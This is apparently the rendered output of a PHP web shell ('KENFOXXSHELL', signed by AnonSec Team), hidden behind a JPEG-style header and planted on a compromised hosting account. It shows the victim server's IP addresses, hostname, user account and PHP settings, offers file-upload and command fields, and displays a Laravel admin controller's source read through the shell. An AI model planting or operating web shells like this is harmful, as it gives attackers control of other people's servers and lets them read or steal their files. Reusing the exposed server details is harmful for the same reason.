JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/vaoday/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/vaoday/app/Http/Controllers/Admin/MaterialController.php
<?php 

namespace App\Http\Controllers\Admin;



//use App\Http\Requests;

use App\Http\Requests\MaterialRequest;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use App\Materials;

use App\Images;

use Input, File;

use Validator;

use Auth, DB;

use App\Sizes;





class MaterialController extends Controller

{

    public function getList()

    {

        $data = Materials::all();

        

        return view('admin.material.list', compact('data'));

    }

    public function getAdd()

    {

        $data = Materials::all();

      

        return view('admin.material.add', compact('data'));

    }

    public function postAdd(MaterialRequest $request)

    {

        $nhan = new Materials;     

        $nhan->name = $request->txtName;

        $nhan->name_eg = $request->txtName_eg;
        if(!empty($_REQUEST['pro_id'])){
           $nhan->pro_id = implode(",", $request->pro_id);
        }
       
        
        if(@!empty($_REQUEST['size'])){
        $nhan->size = implode("||", $request->size);
        }
        if($request->txtPrice!=''){

            $nhan->price = str_replace(",", "", $request->txtPrice);

        }else{

            $nhan->price =0;

        }
        if(!empty($_REQUEST['sale_id'])){
           $nhan->sale_id = implode(",", $request->sale_id);
        }

        $nhan->save();



        

        return redirect()->route('admin.material.index')->with('status','Thêm mới thành công !');



    

    }

    /**

     * Show the form for editing the specified resource.

     * @autho Nguyen Nhan

     * @param  int  $id

     * @return Response

     */

    public function getEdit(Request $request)

    {

        $id= $request->get('id');

       

        $data = Materials::find($id);

        if(!empty($data)){

            return view('admin.material.edit',compact('data','nhan','id','parent'));

        }else{

            $data = Materials::all();

            return redirect()->route('admin.material.index')->with('status','Dữ liệu không có thực');

        }

        

    }

    /**

     * Update the specified resource in storage.

     * @autho Nguyen Nhan

     * @param  int  $id

     * @return Response

     */

    public function update(Request $request)

    {

        $this->validate($request,

            ["txtName" => "required"],

            ["txtName.required" => "Bạn chưa nhập tiêu đề"]

        );

        $id= $request->get('id');

        if($id){

            $nhan = Materials::findOrFail($id);

            $nhan->name = $request->txtName;

            $nhan->name_eg = $request->txtName_eg;
          
            if(!empty($_REQUEST['pro_id'])){
               $nhan->pro_id = implode(",", $request->pro_id);
            }
           
          
            if($request->txtPrice!=''){

                $nhan->price = str_replace(",", "", $request->txtPrice);

            }else{

                $nhan->price =0;

            }
             if(!empty($_REQUEST['sale_id'])){
               $nhan->sale_id = implode(",", $request->sale_id);
            }
	       $nhan->save();

            return redirect('admin/material/edit?id='.$id)->with([
             'toastr_lvl' => 'success',
             'toastr_msg' => 'Cập nhật thành công !!'
            ]);
            

        }else{

            return redirect('admin/material/')->with('status','Dữ liệu không có thực');

        }

    }





    /**

     * Remove the specified resource from storage.

     * @autho Nguyen Nhan

     * @param  int  $id

     * @return Response

     */
    function changepos() {       
        $vitri = $_REQUEST['order'];
        $ids =  $_REQUEST['idsy'];
       
        foreach ($vitri as $k=>$v) { 
           $size =Materials::findOrFail($ids[$k])->update(['stt' => $v]);
         }
        
        return redirect('admin/material')->with([
         'toastr_lvl' => 'success',
         'toastr_msg' => 'Cập nhật vị trí thành công !!'
        ]);  
    } 
    public function getDelete($id)

    {

       

        $nhan = Materials::findOrFail($id);

        $nhan->delete();

     

        return redirect()->route('admin.material.index');

    }

    public function getDeleteList($id){

        $listid = explode(",",$id);

        foreach($listid as $listid_item){

             $nhan = Materials::findOrFail($listid_item);

            $nhan->delete();

            File::delete('upload/material/'.$nhan->photo);

        }

        return redirect()->route('admin.material.index');

    }

    

}


Anon7 - 2022
AnonSec Team